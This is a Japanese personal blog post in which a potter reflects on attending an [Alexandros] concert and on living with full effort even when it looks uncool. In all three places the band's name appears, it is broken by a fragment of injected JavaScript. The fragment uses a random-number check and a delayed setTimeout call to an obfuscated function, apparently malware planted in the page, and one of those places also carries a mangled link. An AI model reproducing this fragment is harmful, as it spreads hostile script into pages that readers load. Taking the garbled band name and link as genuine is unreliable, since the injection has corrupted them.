カッコ悪くてもいい。いつも全力を尽くせば生きることはきっと楽しい

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こんにちは、ユキガオ(@yukigao_22)です。

先日、大好きなアーティストのライブに行ってきました。

そう、今やすっかり大人気のandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andros.jp/”>[Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andros]です。


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これまでも何度かライブに行っているバンド。

[Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andros]に限らず色んなアーティストのライブにちょくちょく行くようになって、もう10年が経ちます。

ライブは、私にとっていつまでも大事な原動力。

飛び跳ねまくって体はくたくたに疲れるんだけど、行くたび浄化されてエネルギーをもらえる。

そういう存在なんです。

 

ライブはみんな全力だから好きだ

ライブって、パフォーマンスする側はもちろんだけど、観客もみんな全力なんですよ。

声を上げて、腕を振って、拍手をして、飛び跳ねて…

もうね、アラサーには辛いくらいに体力使います。

そして、アーティストも1回の公演で20曲以上歌い続けるわけです。

汗だくになってるのは遠くから見てもわかるし、最後のMCは声が枯れてることもある。

そんな声を聞いて、見ているこっちも胸が熱くなってまた全力で声を上げるんです。

みんな、全力を振り絞る。

誰かに強制されてるわけでもなく、自分から体力を使い果たして楽しんでるんですよね。

 

ライブみたいな人生にしたい

そんなライブ中に、ふと思いました。

「こんな風に生きたいな」

って。

ライブ中って、周りの目を気にすることなく一人一人が好きなように楽しめます。

ゆっくり眺めててもいいし、最前列で飛び跳ねてもいい。

誰かに見られてるわけでもないから、素直な表情そのままに楽しめる。

だったら、人生もそんな風に楽しめたらいいんじゃないかな。

そう思ったんですよ。

まっすぐ前だけを見て、楽しむことに全力を注ぐ。

自分の感じる「楽しい」に素直になる。

それは、ステージに立つ側であっても観客であっても同じ。

人は場面によってステージに立つこともあれば観客になって誰かを応援することもあります。

どっち側にいても、全力で楽しむ気持ちを持っていられるかどうかが大事なんだろうなと思うんです。

 

力を出し惜しみすると楽しめなくなる

大人になると、だんだん力を抜くことを覚えます。

  • これくらいでいいや
  • ちょっと手を抜いても大丈夫
  • 全力なんて疲れる…
  • 力を出し切って何も残らなかったら恥ずかしい

恋愛だってそう。

誰かを好きになっても、振られる可能性を考えてしまう。

そしたら「100%のエネルギーを費やしてフラれたら恥ずかしい」って、本気じゃない振りして力を出し惜しみする。

結果的にフラれたとしても「別に本気じゃなかったし」って言い訳すれば、確かに傷は浅いかもしれない。

だけどそれって、楽しくないと思いませんか?

フラれることはもちろん楽しくないんだけど、それまでの過程が全力なら悔いも残らないし、振り返った時に「楽しかったな」って思える気がするんです。

そしてこれは、人生のどんなことでも同じ。

仕事にしても、転職にしても、何かのイベントにしても、趣味にしても…

70%くらいの力でほどほどにやるより、100%の力で頑張った方がどんなことも絶対に楽しい

 

力を出し惜しみすると出せなくなる

そして全力を使わなくなると、何が自分の「全力」なのか分からなくなるんですよね。

「全力」を出すための筋肉が衰える感じ。

本当はもっと頑張れるかもしれないのに、力を出し惜しみしてたら「全力」のレベルが下がってしまう

それってちょっと寂しいと思うんですよね。

そうならないためには、普段から全力を出す習慣をつけた方がいい。

日々、踏ん張りどころは出てきます。

その都度全力を出していたら、確かに疲れるかもしれない。傷つくかもしれない。

でも、ひとつひとつに全力で向き合って行くことで自分の本来の力に気付ける。

それが自分で思ってたより未熟かもしれない。

それならそうと、力をつける努力をすることができる。

そうやって、自分の力を高めていくしかないと思うんです。

どんなにカッコ悪くても、どんなに悔しい思いをするとしても、いつも全力で向かう

私はそういう生き方をしたいなと思うんです。

 

全力を出せないでいる人へ

「ライブみたいに生きたい」なんて、抽象的もいいとこですよね。

はい、精神論です。

何も具体策がないし、何かの拍子に気持ちが揺らぐかもしれない。

もちろん全力尽くして成功するかなんて、誰にも保証できない。

でも、ライブで感じたこの感覚を忘れたくないんです。

そして伝えたいんです。

全力で生きることをためらう人へ。

全力を尽くすことをためらうかもしれないいつかの私へ。

力を出し惜しみしてたら楽しめないよ、って。

かっこ悪くても、しんどくても、いつも全力でいれば後悔はしないよ、って。

私は、そういうことをライブから感じました。

ライブパフォーマンスを観たことがない人は、一度どんなものでもいいので観てみて欲しい。

きっと「今この瞬間を全力で生きる、ってこういうことなんだな」って分かると思うから。

ユキガオ

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長崎生まれ・神奈川在住の陶芸家。会社員10年目で脱サラし、好きなことして生きていくために奮闘中。
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